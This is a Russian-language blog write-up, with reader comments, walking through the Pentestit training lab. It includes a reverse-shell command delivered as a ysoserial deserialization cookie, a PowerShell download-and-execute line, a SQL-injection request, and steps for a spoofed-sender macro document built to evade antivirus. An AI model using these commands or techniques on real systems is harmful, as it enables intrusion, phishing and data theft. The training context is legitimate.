Пентест-лаборатория Pentestit — полное прохождение



    Компания Pentestit 20-го мая запустила новую, уже девятую лабораторию для проверки навыков практического тестирования на проникновение.

    Лаборатория представляет собой корпоративную сеть, очень похожую на сеть настоящей организации. Благодаря лабораториям Pentestit можно всегда быть в курсе последних уязвимостей и попробовать себя в качестве настоящего пентестера, параллельно обучаясь у профессионалов — тех, кто каждый день занимается тестированием на проникновение в реальных сетях.

    К 1-му июня лаборатория была пройдена — все 13 машин и 14 токенов были взяты. Теперь подошло время описать процесс прохождения лаборатории в полном объеме для всех, кто еще не успел пройти лабораторию, кто хотел бы узнать больше об актуальных уязвимостях, или глубже окунуться в мир тестирования на проникновение.

    Сразу хочу отметить, что процесс прохождения лаборатории получился довольно трудоемким, а его описание — длинным, но, надеюсь, интересным. Начнем!

    Disclaimer
    Я не являюсь сотрудником или аффилированным лицом компании Pentestit. Этот документ описывает шаги, которые я предпринял, чтобы решить задания в лаборатории. Мои личные рекомендации и предпочтения никаким образом не относятся к официальному мнению компании Pentestit.

    Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные благодаря информации из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.

    Подключение к лаборатории


    Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании CyBear32C.

    Зарегистрируйтесь здесь, и затем следуйте этим инструкциям для того, чтобы подключиться.

    Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь — самое время.

    Начинаем тестирование


    После регистрации и подключения мы видим следующую схему сети:


    VPN-подключение остается за кадром, и после него мы получаем доступ к единственному внешнему IP компании CyBear32C — 192.168.101.8, который в реальной жизни был бы шлюзом в интернет. Начнем, как обычно, с enumeration и, в частности, со сканирования портов, чтобы определить какие сервисы из внутренних подсетей доступны снаружи.

    Начнем с быстрого сканирования портов.



    Как видим, нам доступен целый набор сервисов с разных внутренних машин (см. схему сети), включая, вероятнее всего, сервер mainsite (порт 80), сервер mail (25, 8100), ssh (порт 22) и другие. Кроме того, есть еще https ресурс и прокси сервер.

    Изучаем MAINSITE


    Начнем с того, чтобы зайти по адресу 192.168.101.8:



    Нас автоматически редиректит на www.cybear32c.lab, посмотрим на это внимательнее:



    Нам приходит заголовок Location: http://cybear32c.lab — виртуальный хост, по которому собственно и будет доступен сайт компании.



    Добавляем нужный домен в /etc/hosts и пробуем еще раз:



    Отлично, сайт поднялся, и можно его начать изучать. Попробуем понять, что это такое. Перед тем, как начать изучать сайт вручную, можно запустить утилиту whatweb, а затем dirb, которая поможет определить, какие есть поддиректории (можно воспользоваться и другими сканерами, например nikto):



    Видим, что коды ответов на все запросы равны 403 — наверняка сайт защищен WAF-ом. Так как в браузере все работает, пробуем подставить User Agent и находим несколько интересных страниц:



    Параллельно смотрим на сайт, видим, что это — Wordpress, защищенный WAF-ом. Заход на страницу /admin переводит нас на закрытый wp-login.php.



    Для Wordpress сайтов есть великолепная утилита wpscan, которая позволяет проверить их на наличие плагинов с уязвимостями. Пробуем для начала посмотреть общую информацию по сайту, подставив нужный user agent. Он тут же находит несколько проблем, в том числе и уязвимый к SQL injection плагин wp-symposium v15.1.



    Теперь пробуем проэксплуатировать каждую из приведенных уязвимостей с помощью эксплоитов по ссылкам. К сожалению, срабатывает WAF, и запросы с пэйлоадами на SQL не проходят. Попробуем его обойти…

    Обход WAF


    Часто многие Web Application Firewalls используют сигнатуры атак, которые можно обойти, немного изменив синтаксис: добавив конкатенацию или изменив регистр в запросе: vErSiOn вместо version, например. Обход WAF — отдельная серьезная тема, которой можно посвятить множество книг и статей.

    К сожалению, эти варианты не сработали. Вспомним о прокси на порту 3128 и попробуем настроить браузер на работу через него.



    Прокси запрашивает авторизацию:



    Здесь нам пригодятся данные из графы Contact Us, которые мы видим на этом же сайте.

    Создаем текстовый файл со словариком и двумя учетными записями: b.muncy и r.diaz и пробуем подобрать пароль:



    Удачно! Теперь попробуем еще раз зайти на сайт через прокси и авторизоваться в нем. Результат в данном случае уже выглядит по-другому (сайт также доступен по внутреннему IP: 172.16.0.5, но другие внутренние сервисы все еще недоступны):



    Сайт больше не говорит о неправомерных действиях — мы успешно обошли WAF.

    Эксплуатация уязвимостей в Wordpress плагине


    Теперь можно изучить сайт и потенциальные уязвимости внимательнее. Можно это делать и напрямую, но мне удобнее для этого использовать Burp Repeater. Для начала нужно настроить подключение через upstream proxy:



    На вкладке User options добавляем Upstream Proxy Server, вводим полученные данные для нашего хоста, настраиваем браузер на Burp proxy и пробуем различные эксплоиты, найденные wpscan-ом.

    Эта же возможность позволит использовать утилиты, которые не поддерживают авторизацию в прокси напрямую. Если такие понадобятся, достаточно будет указать в виде proxy 127.0.0.1:8080.

    Попробовав несколько вариантов, видим, что срабатывает одна из SQL инъекций:

    GET http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=version(); -- HTTP/1.1

    Получаем номер версии MySQL:



    Результат: 5.5.49-0+deb8u1.

    Дело за малым — осталось эксплуатировать эту уязвимость с помощью sqlmap:



    Так как в данном случае инъекция происходит в имя колонки (а не в значение, как обычно), важно указать суффикс после payload (' -- ') для того, чтобы sqlmap сконцентрировался именно на этом типе инъекции. Если этого не сделать, sqlmap может ошибочно определить тип инъекции как blind, и в таком случае вытягивать данные будет очень затруднительно и долго.

    Получаем доступные базы с использованием опции --dbs:



    Затем таблицы (-D tl9_mainsite --tables):



    И осталось только получить данные из таблицы wp_token с помощью команды:




    Токен BYPASS


    Во время сканирования портов обнаружился, в том числе, и https ресурс на порту 443. Беглый анализ и утилита dirb ничего интересного не дали:



    Ресурс доступен по https, при этом, видимо, в разработке и давно не обновлялся. Проверим нашумевшую в 2014-м уязвимость heartbleed:



    Сервис уязвим! Для эксплуатации воспользуемся скриптом отсюда. После прочтения множества интересной информации и сотни попыток (главное не сдаваться раньше времени), находим кое-что интересное:



    Кто-то зашел туда и скачал старый бэкап. Давайте и мы это сделаем:



    Вот и токен, а вместе с ним несколько новых аккаунтов и хеши их паролей. Пробуем восстановить пароли из хешей (Apache apr1 хеш в hashcat идет под номером 1600):



    Получаем уже известный из mainsite пароль b.muncy, а также остальные пароли других аккаунтов.

    Очень полезно записывать все найденные учетные данные и пароли для того, чтобы в будущем иметь возможность проверять их, быстро изучая новую цель, т.к. пароли пользователей в корпоративной сети с высокой вероятностью будут повторяться от одного сервиса к другому.

    Атакуем SSH


    Несмотря на предыдущее замечание, к сожалению, ни один из найденных паролей пока что не подошел к почте (которая обычно дает очень неплохие результаты в продвижении вглубь корпоративной сети). Не беда, попробуем подключиться к SSH на порту 22 и попробовать там. Пробуем и видим следующую картину:



    Довольно необычная ситуация для подключения по SSH: видимо, используется собственный модуль для аутентификации. Кроме того, обращаем внимание на то, что система запрашивает сначала “The password”, а потом еще и “Password”.

    Пробуем все найденные учетные данные в разных комбинациях — безрезультатно.

    Так как ни почта, ни SSH не принесли желаемых результатов, а других доступных сервисов больше не остается, видимо, мы что-то упустили. SSH важен еще и тем, что мы получим доступ внутрь корпоративной сети и сможем продвинуться дальше, поэтому нам интересно сконцентрироваться на нем.

    Пробуем еще раз и видим автора скрипта: Pam © krakenwaffe — не похоже на что-то стандартное.
    Ищем это в Google и вскоре находим аккаунт разработчика krakenwaffe на Github, который к тому же работает в компании cybear32c — интересно!



    Изучив contributions некого Девида, видим единственный файл: mypam.c, расположенный здесь: github.com/krakenwaffe/eyelog/blob/master/mypam.c. После беглого анализа кода становится понятно, что это именно тот модуль, в котором мы пытаемся авторизоваться, и который запрашивает у нас “The password”.



    Под рутом зайти не получится, смотрим, что дальше… Внимание привлекает следующий участок:



    Видим, что введенный пароль проходит сравнение с daypass<день><час>. Пробуем подставить текущее значение, а именно “daypass80” на момент написания этой части документа:



    Все равно не срабатывает. Тогда вспоминаем, как зовут нашего разработчика, который поделился с нами паролем через Github — David Nash. Пробуем зайти под d.nash:



    Получилось! Мы зашли на SSH сервер. Посмотрим, что есть вокруг:



    Помимо токена в папке .ssh также находим и приватный ключ для подключения к другим серверам (к каким — можно узнать, поработав с файлом known_hosts) — наверняка пригодится в дальнейшем!

    Теперь мы получаем плацдарм для следующих атак, и перед нами открывается вся корпоративная сеть компании CyBear32C.

    Следующие шаги


    После взятия SSH можно выходить на все остальные компьютеры в сети. С какого начать? В первую очередь стоит просканировать все три подсети с помощью nmap, любезно предоставленного нам прямо на сервере SSH, и изучить доступные сервисы.

    На данном этапе практически все внутренние ресурсы, за исключением Windows-машин и сервера dev, будут доступны для атаки — можно пробрасывать порты и пробовать.

    Проброс портов


    Для обеспечения удобного доступа к внутренней сети через вновь появившееся SSH подключение есть целое множество способов.

    В первую очередь рекомендую изучить статью «Pivoting или проброс портов».

    Кроме того полезно знать интересную возможность стандартного SSH клиента: проброс портов без перезапуска сессии и добавления параметров в командную строку.

    Для этого достаточно нажать комбинацию клавиш Shift+~+C и перейти в командный режим работы:



    После ввода нужной команды, мы получим доступ к 80-му порту сервера 192.168.0.6 (photo) через порт 8086 на 127.0.0.1:



    Photo-hosting и загрузка файлов


    Сервер фото встречает нас формой для загрузки файлов и ничего больше, наверняка в ней и есть уязвимость.

    С точки зрения разработчика сделать upload файлов безопасным очень сложно — векторов атаки на него может быть очень много: это или неработающая валидация по расширению файла, его MIME-типу, или уязвимость в библиотеке, которая обрабатывает файл, или race condition, или любая из множества других проблем.

    Для начала посмотрим, на чем написан сайт:



    И заодно запустим dirb, чтобы посмотреть какие скрытые директории есть на веб-сервере.



    Директория upload доступна прямо на сервере, попробуем загрузить безобидную картинку и убедимся, что файлы сохраняются именно в эту папку:



    Так и есть, google.png доступен. Обращаем внимание, что сайт показывает размеры картинки, видимо есть какой-то анализ. Пробуем загрузить PHP файл:



    Изменить MIME-тип и расширение не помогает:



    Интересно, это дает нам сразу две подсказки: во-первых, файл, возможно, сначала загружается, а затем удаляется, и его можно успеть дернуть, и, во-вторых, мы еще раз убеждаемся, что проверка на то, что это картинка присутствует (видимо, с помощью getimagesize(), которую можно обмануть, добавив, например, GIF заголовок). Пробуем еще раз с таким файлом file.jpg:



    Файл загрузился успешно и даже доступен:



    Но, к сожалению, не выполняется. Пробуем загрузить этот файл с разными расширениями, раз php не срабатывает: .htaccess, .php5, .phtml и .pht — последний вариант работает! Он тоже выполняется:



    Теперь нужно получить шелл. Для этого слушаем с помощью nc на сервере SSH, и обращаемся к файлу:




    И удачно получаем коннект:



    Прямо в папке upload можно найти токен в скрытой поддиректории:



    Кстати, ради интереса можно изучить и исходники:



    Видим, что файл сначала сохраняется в папку, а затем только проверяется, то есть кроме эксплуатированной нами уязвимости есть еще и race condition.

    Кроме токена и этого кода на сервере ничего интересного не обнаруживаем и продолжаем дальше!

    Изучаем FTP


    Просканировав с помощью nmap сервер 172.16.0.4, находим открытый 21-й порт (ftp) и 22-й порт (ssh). Естественно, вход с нашим ssh ключиком не срабатывает, поэтому сконцентрируемся на самом FTP.



    ProFTPD 1.3.5 имеет известную уязвимость, связанную с копированием файлов без аутентификации, которую можно проэксплуатировать через веб-сервер — копируем в /var/www, например, /etc/passwd, и мы уже немного ближе к цели.

    Проблема в том, что веб сервер на этой машине не запущен… Попробуем подключиться к ftp серверу:



    Анонимный вход доступен, и в папке dist находим исходники сервера. Интересно, наверняка их выложили не просто так, попробуем их поизучать. Скачиваем и распаковываем архив proftpd-dfsg-1.3.5.tar.bz2 с помощью ftp-клиента (команды lcd и get) и пробуем поискать изменения в коде. Начнем с поиска подстроки CYBEAR, и тут же находим файл src/help.c:



    Похожий backdoor был встроен в версию 1.3.3с во время атаки на ProFTPD.

    Попробуем воспользоваться предоставленным бекдором!



    Ну и в папке /home находим целый набор интересных файлов:



    Кроме токена в папке “old” мы находим:
    • новую учетную запись m.barry,
    • тестовый скрипт в папке m.barry/upload/test_scripts,
    • конфигурационный файл роутера cisco c паролями,
    • файл trouble.cap с паролем m.barry и указанием на то, что сервер dev скачивает все питоновские скрипты из папки test_scripts c FTP и, возможно, запускает их.

    К сожалению, просто так подложить файл в test_scripts нельзя — недостаточно прав, поэтому придется продвигаться дальше и искать другой способ атаки на dev сервер.

    Cамый быстрый токен — CISCO


    Попробуем воспользоваться найденной информацией и начнем с cisco — пароль у нас уже есть. Вспоминаем IP по схеме сети и пробуем зайти:



    Сразу же получаем токен! Теперь попробуем сбрутить хеш для enable 3:



    Находим пароль, пробуем его и получаем привилегированный режим:



    Все готово. Конфигурационный файл роутера разрешает делать мониторинг трафика:



    С помощью этих команд можно поизучать трафик, идущий через эту подсеть (а именно — portal).

    Как оказалось, есть возможности пройти лабораторию разными способами, и лично мне мониторинг трафика не понадобился. Поэтому я предлагаю оставить эту часть на самостоятельную проработку и продвинуться дальше.

    NAS и незащищенные бэкапы


    Продолжая изучать разные подсети, натыкаемся на сервер NAS:



    Открытый порт 3260 намекает на возможность подключения к iscsi. Если вы следили за новостями в области ИБ, то наверняка слышали о взломе итальянской компании Hacking Team, которая в данном случае стала прообразом CyBear32c. В сети можно найти writeup о том, как происходила атака, из которого можно почерпнуть много интересного.

    Начнем с проброса порта на локальную машину:



    Устанавливаем iscsiadm и пробуем подключиться:



    Пробуем подключиться, не получается.



    Включаем debug mode и видим, что iscsiadm пытается подключиться к 192.168.0.3, которого в данном случае нет в нашей подсети.

    Попробуем альтернативный вариант проброса портов и воспользуемся sshuttle. Так мы получим доступ к серверам по их настоящим IP адресам без необходимости пробрасывать каждый порт по отдельности. Подключаемся:



    Удалось подключиться! Теперь изучим содержимое появившегося диска:



    Теперь нужно подключить и этот vmdk:



    Он начинается на диске по смещению 63 * 512 байт, а именно 32,256:



    После этого Kali автоматически определяет присутствующий диск и предлагает посмотреть содержимое:



    Есть! В поисках интересного находим пользователя token_nas_token, но в файловой системе напрямую ничего нет. Копируем базы реестра из WINDOWS\system32\config к себе и пробуем посмотреть сохраненные хеши паролей:



    Чтобы долго не перебирать хеши локально, воспользуемся сервисом rainbowtables.it64.com. Можно сделать это и у себя, но с помощью сервиса будет быстрее.

    Вносим существующие LM-хеши (первый хеш из дампа в каждой строке) и смотрим на результат. LM-хеширование приводит пароли к верхнему регистру, поэтому после получения результата нам нужно будет восстановить правильный регистр с помощью NTLM-хеша.

    Все хеши и соответствующие им пароли найдены в базе. Сохраним их (в верхнем регистре) в отдельный файлик и воспользуемся john-ом c опцией -rules=NT, чтобы найти правильные пароли:



    И получаем пароли c помощью опции -show:



    Пароль от token_nas_token содержит токен к заданию! И мы получили новые учетные данные для d.rector. Продолжим!

    Terminal2


    Как уже обсуждалось выше, пароли, найденные в одном месте, могут подойти в другом. В данном случае, просканировав порты сервера terminal2, мы видим открытый RDP:



    Попробуем подключиться, используя учетные данные d.rector из NAS:



    Токен находится прямо на рабочем столе!

    DEV и MITM


    С получением доступа в локальную подсеть 192.168.3/24 у нас открываются новые возможности для атаки. Вспомним схему сети и заодно файл trouble.cap, найденный на FTP сервере:



    Очевидно, dev сервер обращается к FTP, скачивает оттуда все *.py файлы из папки test_scripts, как видно в trouble.cap, и, вероятнее всего, выполняет их. Доступ в эту папку на FTP сервере можно получить только от root.

    Теперь, когда в нашем распоряжении сервер terminal, на котором удобно расположен Intercepter-NG, мы можем легко организовать MITM атаку. Попробуем!

    Включаем Intercepter-NG из папки C:\Intercepter-NG. Первым делом нужно просканировать локальную сеть. Нажимаем правой кнопкой на пустом месте в таблице, ставим на всякий случай побольше ARP Scan Timeout и запускаем Smart Scan.

    Intercepter при этом рассылает ARP запросы в своей подсети, чтобы определить существующие в ней хосты, а затем пробует определить, какая на каждом из них установлена ОС.



    Отлично, определились два хоста:



    Stealth IP — это несуществующий IP адрес, который используется Intercepter-ом для осуществления MITM-атаки.

    Так как клиент и сервер находятся в разных подсетях, они будут общаться друг с другом через шлюз; добавляем 3.3 в NAT, а 3.254 как шлюз.



    Параллельно нужно создать папочку на ftp сервере, в которую будет заходить dev, вместо папки upload. В названии должно быть столько же символов, сколько и в “upload”, так как Intercepter-NG может делать замену в трафике только для строк одинаковой длины.



    В скрипт test.py, конечно, разместим полезную нагрузку — реверс шелл на 172.16.0.2 на порт 6666:



    Настраиваем Intercepter:



    Traffic changer будет заменять upload на .uploa и, соответственно, когда m.barry сделает CWD upload, он попадет в нашу директорию .uploa и оттуда уже скачает наш скрипт, который и создаст нам reverse shell.

    Включаем слушающую часть на SSH:



    И включаем Incercepter нажатием трех кнопок: сначала общий sniff-инг справа вверху, затем NAT и затем ARP poison.



    Через минуту получаем шелл:



    А заодно и токен сервера dev:



    “Tragick” SITE-TEST


    Теперь обратим свое внимание на сервер site-test. Как обычно в web задачах лаборатории, попробуем запустить whatweb и dirb, чтобы узнать, что есть на сервере.



    Сайт написан на PHP фреймворке laravel, который активно поддерживается. Кроме того, включены детальные логи ошибок:



    Отсюда часто можно выудить информацию о внутренних путях на сервере, которая потом может пригодиться, например, при SQL инъекции. Но в данном случае это нам не сильно помогает…

    dirb быстро начинает находить следующие доступные URLs:



    Безуспешно попробовав все учетные данные, которые уже были собраны за время прохождения лаборатории в админке, переключаемся на форму аплоада фотографии, тоже представленную на сайте, если по нему просто походить и нажать JOIN US:



    Снова загрузка картинок, но теперь не удается найти, где эти картинки складываются (хотя папка /upload тоже через какое-то время обнаруживается утилитой dirb — но файлы в ней не доступны по исходным именам).

    Попробуем уязвимость в ImageMagick, которая получила название ImageTragick.

    Конструируем файл для загрузки:



    И включаем nc на порт 1234 на сервере SSH. Заполняем форму и загружаем файл oops.jpg c текстовым содержимым, показанным сверху.



    Вот и коннект! В корневой папке (cd /) видим token.txt:



    Открываем PORTAL


    Попробуем изучить сервер portal. Начнем со сканирования портов.



    Обнаружился порт 8080, зайдя на который мы, собственно, и увидим портал:



    Пробуем разные пароли из тех, что были найдены ранее. Подходит, например, логин t.smith с его паролем. Пароли можно было переиспользовать уже два раза — на terminal2 и здесь.
    Получаем страницу отпусков и новые учетные данные:



    Пробуем зайти или подобрать пароль к логину a.petrov — безуспешно. Затем обращаем внимание на куки:



    Выглядит как base64, декодируем:



    Это Java объект, в котором хранится имя пользователя и хеш его пароля в виде md5. Пробуем «подсунуть» имя a.petrov — не срабатывает.

    Раз объект приезжает на клиент и затем восстанавливается на сервере, попробуем копнуть в этом направлении.

    Во время восстановления объекта из строки base64 в бинарный формат и затем в память (десериализации) есть недавно продемонстрированная возможность выполнения произвольного кода. Такая уязвимость была, например, в Jenkins. Для эксплуатации пробуем использовать утилиту ysoserial.

    После прочтения инструкции становится понятно, что есть возможность выполнить произвольную команду на сервере, используя утилиту. Она генерирует Java-объект, который потом во время десериализации выполнит
    нужную нам команду (а именно reverse shell, в нашем случае).

    Пишем небольшую команду для удобной отправки содержимого, генерируемого ysoserial в виде base64-куки на bash:

    curl -b 'userInfo="'$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' ‘http://192.168.1.2:8080/index.jsp'

    Возникает ошибка при выполнении:



    Находим эту же проблему прямо на гитхабе разработчика.

    Она уже исправлена в репозитории, но еще не собрана в release. Клонируем новую версию с github, устанавливаем maven и собираем ее локально:

    apt-get install maven
    git clone https://github.com/frohoff/ysoserial.git
    mvn compile package

    Получаем нужный нам файл!



    Обновляем команду на новый payload Commons-Collections5:

    curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'

    На сервере ssh как обычно запускаем netcat, который слушает на порту 1235, запускаем на выполнение и:



    Долгожданный шелл. Находим token.txt в корневой папке:



    И еще один токен поддался!

    Поизучав немного портал, находим кое-что интересное в crontab:



    Скрипт проверки почты! Посмотрим, что в нем.



    Имя и пароль b.muncy в почту! Вот мы и подобрались вплотную к заданию mail.

    Roundcube Mail


    В лаборатории используется сервер Roundcube, в котором было много уязвимостей, но в данной версии все известные уже исправлены.

    Попробуем с другой стороны. Заходим в почту с паролем от b.muncy:



    Почтовый ящик пустой. Но, так как на портале был робот, автоматически проверяющий почту, попробуем отослать сообщения другим аккаунтам, которые мы уже узнали.

    Один из них — r.diaz — отвечает на письма! Пробуем отправить ему что-то еще.



    И получаем ответ:



    После общения с ботом становится понятно, что нужно применять social engineering. Пробуем отсылать боту разные файлы: PDF, Word-документы и так далее. И вот, на одну из таких отправок бот реагирует!



    Если отправить в аттачменте Word-документ, он выдает токен и сообщение о том, что такого рода файлы можно открывать, только если они приходят от r.lampman-a. Попробуем это сделать!

    Terminal


    На сервере terminal закрыт порт 3389 для rdp, а в оставшихся нет ничего интересного. Где, как ни там, спрятался r.diaz и открывает Word-документы!

    Я сделал предположение, что на сервере terminal установлен Microsoft Security Essentials, как это было и на сервере terminal2, и локально установил Windows с таким же антивирусом, чтобы потестировать на месте прежде, чем отправлять документ.

    Атака, в данном случае, получается многоступенчатая. Чтобы получить сессию на terminal, нам нужно:
    • научиться отправлять письма r.diaz-у от r.lampman (его пароля к почте у нас нет),
    • сформировать документ с reverse shell payload,
    • обойти антивирус Microsoft Security Essentials,
    • включить listener на своем компьютере на порту 443 (только 80 и 443 открыты изнутри сети).

    Отправка писем


    Попробуем написать скрипт, который будет автоматически отправлять письма r.diaz-у от имени r.lampman с использованием пароля b.muncy.

    Для этого будем подставлять нужный адрес в поле FROM:



    Здесь важно несколько вещей:
    • заменить значение поле FROM на нужное,
    • подставить правильный MIME-тип, чтобы было понятно, что отправляется именно Word-документ
    • не забыть закодировать документ в base64, чтобы он не испортился при передаче,
    • пробросить порт 587 с 172.16.0.1 на локальную машину:


    Формируем payload


    Теперь нужно создать Word-документ, который не определяется антивирусами как зараженный. После множества неудачных попыток (удобно тестировать в своей среде перед настоящей атакой), получилось выработать рабочий вариант.

    Не будем весь payload сохранять сразу в документ, а сделаем так, чтобы он скачивал его с нашего сервера. Для этого сделаем следующее:

    1. Используем setoolkit для создания payload:



    Выбираем опцию 1 (Social-Engineering Attacks), затем 9 (Powershell Attack Vectors) и затем 1 (Powershell Alphanumeric Shellcode Injector):



    Запускаем на локальной машине веб сервер и копируем полученный payload из /root/.set/reports/powershell в /var/www/html/payload.txt:



    Проверяем, что файл доступен:



    2. Формируем документ
    Я использовал этот вариант запуска, описанный в этой статье.

    Как показано, нам нужно обфусцировать команду загрузки payload:
    powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_ip>/payload.txt'))"

    Чтобы это сделать, можно использовать Java-апплет из статьи, доступный здесь. Запускаем:



    Вводим:
    powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_pentestit_ip>/payload.txt'))"

    Получаем результат и вставляем в документ. Я добавил еще Document_Open() на всякий случай.



    При добавлении макроса важно сохранить его именно в документ, а не в шаблон Normal.

    Сохраняем документ с расширением docm, кладем в папочку со скриптом senddoc.py, и теперь остался последний шаг.

    3. Запускаем Metasploit



    Перед запуском еще раз проходимся по небольшому «чеклисту»:
    • payload доступен по адресу your_ip/payload.txt,
    • порт 587 с 172.16.0.1 проброшен на локальный 127.0.0.1,
    • документ находится в папке вместе со скриптом для отправки почты.

    Запускаем!



    И через минуту:



    Идем в C:\Users\r.diaz\Desktop и получаем токен!



    SSH-TEST — последний барьер


    Остается последний сервер, на который пока что мы не нашли никаких зацепок в сети. Просканировав все его порты, определяем, что ни один из них не отвечает.

    При этом все, кроме трех, отвечают нам RST пакетами (закрыты), а 3 — просто отбрасывают все приходящие на них пакеты.



    Это наводит на мысль о том, что в эти порты нужно «постучать» в надежде на то, что порт 22 (ssh) откроется при правильной комбинации на мгновение, за которое мы успеем к нему подключиться.

    Кстати, на сервере ssh мы в самом начале прохождения нашли ключ в папке .ssh у пользователя d.nash:



    Наверняка он нам здесь пригодится. Итак, для того, чтобы стучать в нужный порт, делаем следующее:

    Запускаем sshuttle, чтобы ходить к серверу напрямую:



    Удобно указать нужную подсеть, чтобы остался доступ в Интернет.
    Копируем ключ d.nash id_rsa себе на диск:



    Устанавливаем утилиту knock, которой будем стучать в нужные порты:



    Пробуем 6 комбинаций этих трех портов, и одна из них срабатывает!



    Вот и последний токен! Лаборатория пройдена.

    Послесловие


    Этот документ описывает всего лишь один из способов прохождения лаборатории. Уверен, что вариантов очень много. Если вы знаете какой-то интересный способ решения той или иной задачи, о котором я здесь не упомянул, буду рад узнать о нем в комментариях.

    Надеюсь, что эта статья поможет тем, кто еще не занимался пентестом, окунуться в мир информационной безопасности и попробовать себя в настоящем практическом тестировании.

    Лаборатория будет доступна до ноября, поэтому времени на обучение будет достаточно, а этот writeup поможет начать. Не сдавайтесь в процессе, и, как говорится: Try Harder.

    Удачи!
    Pentestit 510,87
    Информационная безопасность
    Поделиться публикацией

    Вакансии компании Pentestit

    Комментарии 26
    • +3
      Вот и поучусь на вашем мануале =))
      • +6
        Это как отличный детектив =))) Офигенно
      • +5
        Алексей, очень приятно видеть такой отзыв!
        • +7
          Спасибо вам за лабораторию! В мае и в ноябре, когда они стартуют, за неделю-две можно узнать больше, чем за несколько месяцев :-)
          • 0
            У вас это сколько человек придумывает? Дикая сложность же, как по мне
            • 0
              LukaSafonov, а почему старые глушите? Из-за ресурсов? Я думаю, было бы интересно пройти и ранние тем кто прошел только последние
              • 0
                Поддержание каждой лаборатории дело ресурсоёмкое.
            • +3
              Отличная статья! Всегда при прохождении самое интересное это догадаться до того где уязвимость, и вот этот процесс к сожалению показать в статье нельзя.

              Ждем следующую лабу в ноябре.
              • +12
                Разработка лаборатории — дело не простое, нужно соединить уязвимости в единый сюжет, реализовать, предусмотреть действия атакующих, при которых уязвимость может оказаться недоступной для других участников. Срок разработки каждой лаборатории — 3-4 месяца, при этом над каждой лабораторией трудятся более 10 специалистов. В общем — дело крайне утомительное и ресурсоемкое, однако, читая такие отзывы, понимаешь, что этот труд не напрасен. Спасибо всем причастным: и тем, кто реализовал, и тем, кто нашел возможность поучаствовать, за их бессонные ночи и тектонический труд. И отдельное спасибо Майоровскому Максиму (@xtalf) — главному дирижеру лабораторий Pentestit.
                • +4
                  Отличная статья, спасибо огромное, все так детально описано. И после прочтения статьи, сразу несколько пунктов у себя отметил что нужно подтянуть)
                  • +1
                    Да, реально не простая лаба была.
                    • +2
                      Имеется ли доступ к предыдущим лабораториям? Есть ли архивы и образами и заданиями?
                      • +3
                        К сожалению, сами лаборатории предыдущих версий уже не доступны — есть только частичные описания седьмой и writeup восьмой. Возможно, у авторов есть что-то еще — я начал участвовать с 7-й лаборатории.
                      • +2
                        Большое спасибо за статью, почерпнул много нового для себя.
                        Не понял только, а в CISCO — где токен был то?
                        • +2
                          Спасибо! CISCO токен видно сразу при логине в нее telnet-ом с использованием пароля, найденного в задании FTP. Я его видимо слишком сильно размыл на картинке, и его не особо видно :-)
                        • +6
                          Огонь. Не знаю, откуда столько времени и у автора статьи, и у организаторов на подобную работу (не сфейлить таски при подготовке, все оттестировать — это сложнее, чем их придумать).
                          • +3
                            Если честно и сам не знаю откуда брать на это время, но когда появляется новая лаборатория устоять тяжело :-)
                          • +3
                            Каждый раз узнаю что-то новое)) Супер!
                            … и начинаю латать дыры в своей инфраструктуре…

                            • +4
                              Это лучший материал за последнее время на Хабре. Спасибо!
                              • 0
                                Все-таки, зря вы упростили VPN соединение.
                                Понизьте на нем MTU, например до 1400 байт :)
                                • +3
                                  Огромнейшее спасибо за материал, прочтен на одном дыхании. Продолжайте в этом же духе, ждем новых статей. А я пошел проходить лабораторию по туториалу.
                                  • +2
                                    Вот это статьища!!! просто респект!
                                    Правда застрял на шаге с получением пасса для d.rector юзера с SAM файла… подскажите плз, что находится в файлах passwords_lm.txt и h.txt которые вы подпихиваете в john. на сколько я понимаю в h.txt находится вывод с SAM файла с LM и NTLM хешами, а passwords_lm.txt словарь пассов (rock_you.txt)?

                                    Спасибо!
                                    • +1
                                      Спасибо большое за отзыв!

                                      В h.txt находится output из samdump — то есть имена пользователей, ID, LM и NTLM-хеши.

                                      В файл passwords_lm.txt я сохранил найденные с помощью сервиса rainbowtables.it64.com пароли в верхнем регистре. Джон затем, если ему включить опцию rules=NT, будет пробовать менять регистр каждой буквы, считать NTLM-хеш, и сравнивать полученное с исходным хешем из файла.

                                      Так можно будет получить пароли в настоящем регистре, а не в верхнем.

                                      На всякий случай, резюмируем процесс:
                                      1. Получаем хеши из SAM
                                      2. Берем LM-хеши, и на основании их получаем пароли в верхнем регистре (если настоящий пароль abcDeF, то из LM-хеша мы получим ABCDEF.
                                      3. Чтобы восстановить регистр, сохраняем пароль ABCDEF в файл, и используем джон с опцией rules=NT, при которой он пробует все варианты верхних и нижних регистров уже с NTLM-хешем, для того чтобы получить исходный abcDeF из ABCDEF.

                                    • +3
                                      И хоть большая часть тут для меня вообще не ясна, материал прочел на одном дыхании. Круто! Спасибо.
                                      • +2
                                        Такие мануалы следует читать сценаристам из Голливуда. Но тогда пипл не схавает: зрителю нужен суперавтовзломщик с живым видео и развитым GUI и чтобы на одной дискетке…
                                        • 0
                                          Они сейчас и не парятся и показывают только социальный инжиниринг. Там кличку собачки узнал, тут пришёл, понимаешь, пиццу доставил и стикер с монитора стырил

                                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                        Самое читаемое